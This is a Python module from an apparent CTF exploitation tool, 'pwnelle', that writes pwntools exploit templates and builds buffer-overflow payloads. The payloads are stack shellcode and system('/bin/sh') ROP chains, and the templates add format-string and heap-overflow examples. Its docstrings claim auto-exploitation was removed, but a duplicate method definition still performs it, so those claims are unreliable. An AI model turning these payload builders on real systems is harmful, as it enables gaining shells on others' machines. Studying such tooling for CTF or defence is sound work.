"""
Exploit generator module for pwnelle.

Orchestrates the entire exploit generation process.
"""

import os
import re
import time
from typing import Dict, List, Any, Tuple, Optional, Union
from pwn import *

from .bof_finder import BufferOverflowFinder
from .format_string_finder import FormatStringFinder
from .exploit_tester import ExploitTester

class ExploitGenerator:
    """Generates and tests exploits for binary vulnerabilities."""
    
    def __init__(
        self,
        binary_path: str,
        analysis_results: Dict[str, Any],
        output_dir: str,
        verbose: bool = False,
        timeout: int = 10,
        flag_regex: str = r"(flag\{[^}]*\}|CTF\{[^}]*\})",
        remote_options: Optional[Dict[str, Any]] = None
    ):
        """
        Initialize the template generator.
        
        Args:
            binary_path: Path to the binary to analyze
            analysis_results: Analysis results from the BinaryAnalyzer
            output_dir: Directory to write output files
            verbose: Whether to show verbose output
            timeout: Suggested timeout for exploit testing in seconds
            flag_regex: Regex pattern to identify flags
            remote_options: Optional dict with remote server connection details (for template)
        """
        self.binary_path = binary_path
        self.analysis_results = analysis_results
        self.output_dir = output_dir
        self.verbose = verbose
        self.timeout = timeout
        self.flag_regex = flag_regex
        self.remote_options = remote_options
        
        # Initialize ELF object for template generation
        try:
            self.elf = ELF(binary_path)
            self.context = context
            if self.verbose:
                self.context.log_level = 'debug'
            else:
                self.context.log_level = 'warning'
        except Exception as e:
            print(f"Error loading binary: {e}")
            raise
    
    def log(self, message: str) -> None:
        """Print message if verbose mode is enabled."""
        if self.verbose:
            print(message)
    
    def create_process(self) -> tube:
        """
        Create either a local process or remote connection based on remote_options.
        
        Returns:
            A pwntools tube (process or remote)
        """
        if self.remote_options:
            self.log(f"Connecting to remote server: {self.remote_options['host']}:{self.remote_options['port']}")
            
            # Create remote connection
            if self.remote_options.get('protocol', 'tcp').lower() == 'tcp':
                p = remote(self.remote_options['host'], self.remote_options['port'])
            else:
                # UDP connection
                p = remote(self.remote_options['host'], self.remote_options['port'], typ='udp')
            
            # Apply delay if specified
            if self.remote_options.get('delay', 0) > 0:
                time.sleep(self.remote_options['delay'])
                
            return p
        else:
            # Create local process
            return process(self.binary_path)
    
    def auto_exploit(self) -> Dict[str, Any]:
        """
        This method previously performed automatic exploitation.
        Now simply generates a template and returns a dict indicating template creation.
        
        Returns:
            Dictionary with template generation status
        """
        self.log("Auto-exploitation has been removed - generating template only.")
        
        # Generate a template file
        template_path = os.path.join(self.output_dir, "exploit_template.py")
        self._generate_exploit_template(template_path)
        
        return {
            "success": False,
            "flag": None,
            "message": "Auto-exploitation has been removed. A template has been generated.",
            "exploit_type": "template_only",
            "template_path": template_path,
            "recommendations": [
                "Study the binary analysis report",
                "Use the template as a starting point for manual exploitation",
                "Modify the template based on your understanding of the vulnerability"
            ]
        }
        
    def _generate_exploit_template(self, output_path: str) -> None:
        """
        Generate a basic exploit template.
        
        Args:
            output_path: Path to write the template
        """
        self.log(f"Generating exploit template at {output_path}")
        
        # Determine likely exploitation approach based on analysis
        exploitation_strategy = "unknown"
        if "format_string_vulns" in self.analysis_results:
            exploitation_strategy = "format_string"
        elif "buffer_overflow_vulns" in self.analysis_results:
            exploitation_strategy = "buffer_overflow"
        elif "heap_vulns" in self.analysis_results:
            exploitation_strategy = "heap_overflow"
            
        # Get binary information
        arch = self.analysis_results.get("arch", "unknown")
        bits = self.analysis_results.get("bits", 64)
        has_nx = self.analysis_results.get("protections", {}).get("nx", False)
        has_pie = self.analysis_results.get("protections", {}).get("pie", False)
        has_canary = self.analysis_results.get("protections", {}).get("canary", False)
        
        # Interesting functions to consider
        vuln_funcs = []
        if "vulnerable_functions" in self.analysis_results:
            vuln_funcs = self.analysis_results["vulnerable_functions"]
            
        # Create template content
        template = f"""#!/usr/bin/env python3
# Exploit template for: {os.path.basename(self.binary_path)}
# Generated by pwnelle

from pwn import *
import re

# Configuration
context.arch = "{arch}"
context.bits = {bits}
context.log_level = "info"  # Set to debug for more verbose output

# Binary path
BINARY = "{self.binary_path}"

# Protections
NX = {"Enabled" if has_nx else "Disabled"}
PIE = {"Enabled" if has_pie else "Disabled"}
CANARY = {"Enabled" if has_canary else "Disabled"}

# Likely exploitation strategy: {exploitation_strategy}
# Vulnerable functions identified: {', '.join(vuln_funcs) if vuln_funcs else "None"}

def exploit(remote_host=None, remote_port=None):
    \"\"\"
    Main exploit function.
    
    Args:
        remote_host: Optional, hostname for remote exploitation
        remote_port: Optional, port for remote exploitation
        
    Returns:
        Flag if found, None otherwise
    \"\"\"
    # Create process locally or connect to remote
    if remote_host and remote_port:
        p = remote(remote_host, remote_port)
    else:
        p = process(BINARY)
        
    try:
        # TODO: Implement your exploitation here
        # Examples based on likely vulnerability:
"""

        # Add example code based on exploitation strategy
        if exploitation_strategy == "format_string":
            template += """
        # Format string example:
        p.recvuntil(b"input:")  # Adjust based on the actual prompt
        
        # Leak addresses if needed (for PIE)
        p.sendline(b"%p.%p.%p.%p")
        leak = p.recvline()
        log.info(f"Leaked values: {leak}")
        
        # Send format string exploit
        payload = b"%n"  # Modify based on your specific needs
        p.sendline(payload)
"""
        elif exploitation_strategy == "buffer_overflow":
            template += """
        # Buffer overflow example:
        p.recvuntil(b"input:")  # Adjust based on the actual prompt
        
        # Determine offset (use pattern_create/pattern_offset)
        offset = 100  # Replace with actual offset
        
        # Craft payload
        payload = b"A" * offset
        payload += p64(0xdeadbeef)  # Return address or ROP chain
        
        p.sendline(payload)
"""
        elif exploitation_strategy == "heap_overflow":
            template += """
        # Heap overflow example:
        p.recvuntil(b"choice:")  # Adjust based on the actual prompt
        
        # Allocate chunks
        p.sendline(b"1")  # Allocation option
        p.recvuntil(b"size:")
        p.sendline(b"32")  # Size of first chunk
        
        # Write to chunk with overflow
        p.sendline(b"2")  # Write option
        p.recvuntil(b"data:")
        payload = b"A" * 32 + p64(0xdeadbeef)  # Overflow into next chunk
        p.sendline(payload)
"""
        else:
            template += """
        # Generic exploitation:
        # 1. Identify vulnerable function and input method
        # 2. Craft appropriate payload
        # 3. Send payload and handle the response
        
        p.recvuntil(b":")  # Adjust based on the actual prompt
        p.sendline(b"Your payload here")
"""
            
        # Complete the template
        template += """
        # Receive output and check for flag
        output = p.recvall(timeout=2)
        
        # Extract flag if present
        flag_pattern = rb"(flag|picoCTF)\\{[^}]+\\}"
        flag_match = re.search(flag_pattern, output)
        if flag_match:
            flag = flag_match.group(0).decode()
            log.success(f"Flag found: {flag}")
            return flag
            
        return None
        
    except Exception as e:
        log.error(f"Exploitation failed: {e}")
        return None
    finally:
        p.close()

if __name__ == "__main__":
    import argparse
    
    parser = argparse.ArgumentParser(description="Exploit for {os.path.basename(self.binary_path)}")
    parser.add_argument("--remote", help="Remote server in format HOST:PORT", type=str)
    
    args = parser.parse_args()
    
    if args.remote:
        try:
            host, port = args.remote.split(":")
            flag = exploit(host, int(port))
        except ValueError:
            log.error("Invalid remote format. Use --remote host:port")
            sys.exit(1)
    else:
        flag = exploit()
        
    if flag:
        log.success(f"Exploitation successful! Flag: {flag}")
    else:
        log.failure("Exploitation failed to retrieve flag")
"""

        # Write the template to the file
        with open(output_path, "w") as f:
            f.write(template)
            
        self.log(f"Template written to {output_path}")
        
    def exploit_buffer_overflow(self) -> Dict[str, Any]:
        """
        This method previously performed buffer overflow exploitation.
        Now redirects to auto_exploit which just creates a template.
        
        Returns:
            Dictionary with template generation status
        """
        return self.auto_exploit()
        
    def exploit_format_string(self) -> Dict[str, Any]:
        """
        This method previously performed format string exploitation.
        Now redirects to auto_exploit which just creates a template.
        
        Returns:
            Dictionary with template generation status
        """
        return self.auto_exploit()
        
    def exploit_heap_overflow(self) -> Dict[str, Any]:
        """
        This method previously performed heap overflow exploitation.
        Now redirects to auto_exploit which just creates a template.
        
        Returns:
            Dictionary with template generation status
        """
        return self.auto_exploit()
    
    def exploit_buffer_overflow(self) -> Dict[str, Any]:
        """
        Find buffer overflow offset and exploit it with a simple shellcode or ROP chain.
        
        Returns:
            Dictionary with buffer overflow exploitation results
        """
        self.log("Attempting buffer overflow exploitation...")
        
        result = {
            "success": False,
            "exploit_type": "buffer_overflow",
            "offset": None,
            "payload": None,
            "flag": None
        }
        
        # Find the buffer overflow offset
        offset_result = self.bof_finder.find_offset()
        if not offset_result:
            self.log("Could not find buffer overflow offset")
            result["details"] = {"error": "Could not find buffer overflow offset"}
            return result
        
        self.log(f"Found buffer overflow offset: {offset_result['offset']}")
        result["offset"] = offset_result["offset"]
        result["buffer_overflow"] = offset_result
        
        # Generate payload based on vulnerabilities found
        payload = self._generate_bof_payload(offset_result)
        if not payload:
            self.log("Could not generate payload")
            result["details"] = {"error": "Could not generate effective payload"}
            return result
        
        result["payload"] = payload.hex()
        
        # Test the exploit
        test_result = self.exploit_tester.test_exploit(payload)
        result.update({
            "success": test_result.get("success", False),
            "flag": test_result.get("flag"),
            "shell_obtained": test_result.get("shell_obtained", False),
            "test_details": test_result
        })
        
        # Save the report
        report_path = self.exploit_tester.save_exploit_report(test_result)
        result["report_path"] = report_path
        
        return result
    
    def _generate_bof_payload(self, offset_result: Dict[str, Any]) -> Optional[bytes]:
        """
        Generate a buffer overflow payload based on the offset and binary analysis.
        
        Args:
            offset_result: Result from buffer overflow finder
            
        Returns:
            Bytes payload or None if generation failed
        """
        offset = offset_result["offset"]
        
        # Check if NX is enabled
        nx_enabled = self.analysis_results.get("protections", {}).get("nx", True)
        aslr_enabled = self.analysis_results.get("protections", {}).get("aslr", True)
        
        # Depending on protections, choose exploitation strategy
        if not nx_enabled and not aslr_enabled:
            # If no NX and no ASLR, we can use shellcode on the stack
            return self._generate_shellcode_payload(offset)
        else:
            # Otherwise, try ROP chain
            return self._generate_rop_payload(offset)
    
    def _generate_shellcode_payload(self, offset: int) -> bytes:
        """
        Generate a payload with shellcode for systems without NX.
        
        Args:
            offset: Buffer overflow offset
            
        Returns:
            Bytes payload with shellcode
        """
        # Basic shellcode that spawns a shell (architecture-dependent)
        if self.elf.arch == "amd64":
            # 64-bit shellcode
            shellcode = asm(shellcraft.amd64.linux.sh())
        elif self.elf.arch == "i386":
            # 32-bit shellcode
            shellcode = asm(shellcraft.i386.linux.sh())
        else:
            # Default to 64-bit if architecture detection fails
            shellcode = asm(shellcraft.amd64.linux.sh())
        
        # Create the payload: padding + shellcode address + shellcode
        payload = b"A" * offset  # Padding
        
        # Find a writable and executable section to place shellcode
        for section in self.elf.sections:
            if section.header.sh_flags & 3 == 3:  # 3 = SHF_WRITE | SHF_EXECINSTR
                # Found writable+executable section
                shellcode_addr = section.header.sh_addr + 0x100  # Offset into the section
                break
        else:
            # If no suitable section found, try using stack or heap (less reliable)
            shellcode_addr = 0xdeadbeef  # Placeholder
        
        # Finish payload
        if self.elf.arch == "amd64":
            payload += p64(shellcode_addr)
        else:
            payload += p32(shellcode_addr)
        
        payload += shellcode
        
        return payload
    
    def _generate_rop_payload(self, offset: int) -> bytes:
        """
        Generate a ROP chain payload for systems with NX.
        
        Args:
            offset: Buffer overflow offset
            
        Returns:
            Bytes payload with ROP chain
        """
        # Try to find gadgets for a simple system("/bin/sh") ROP chain
        try:
            # Create a ROP instance
            rop = ROP(self.elf)
            
            # Try to call system("/bin/sh")
            # First check if we have system and a "/bin/sh" string
            if "system" in self.elf.symbols and self._find_bin_sh_str():
                bin_sh_addr = self._find_bin_sh_str()
                
                # Based on architecture, create appropriate chain
                if self.elf.arch == "amd64":
                    # 64-bit ROP chain
                    # Need to set RDI to point to "/bin/sh"
                    try:
                        # Find pop rdi gadget
                        pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
                        
                        # Build chain: padding + pop_rdi + bin_sh_addr + system
                        payload = b"A" * offset
                        payload += p64(pop_rdi)
                        payload += p64(bin_sh_addr)
                        payload += p64(self.elf.symbols["system"])
                        
                        return payload
                    except:
                        # If specific gadgets not found, try a simpler approach
                        pass
                
                elif self.elf.arch == "i386":
                    # 32-bit ROP chain (simpler, just put args on stack)
                    payload = b"A" * offset
                    payload += p32(self.elf.symbols["system"])
                    payload += p32(0xdeadbeef)  # Return address after system (doesn't matter)
                    payload += p32(bin_sh_addr)
                    
                    return payload
            
            # If we couldn't build a system ROP chain, try one_gadget approach
            # (not implemented in this basic version)
            
        except Exception as e:
            self.log(f"Error generating ROP chain: {e}")
        
        # Last resort: try a simple ret2libc attack with a hardcoded pattern
        # (highly system-dependent, likely to fail but worth a try)
        payload = b"A" * offset
        payload += p64(0x4009a3)  # Example address, would need to be determined from binary
        
        return payload
    
    def _find_bin_sh_str(self) -> Optional[int]:
        """
        Find "/bin/sh" string in the binary.
        
        Returns:
            Address of "/bin/sh" string or None if not found
        """
        try:
            # Look through strings from binary analysis
            if "strings" in self.analysis_results:
                for string_info in self.analysis_results["strings"]:
                    if "/bin/sh" in string_info.get("string", ""):
                        return string_info.get("address")
            
            # Check libc if available
            # (Implementation would depend on how libc is loaded/analyzed)
            
            return None
        except Exception as e:
            self.log(f"Error finding /bin/sh string: {e}")
            return None 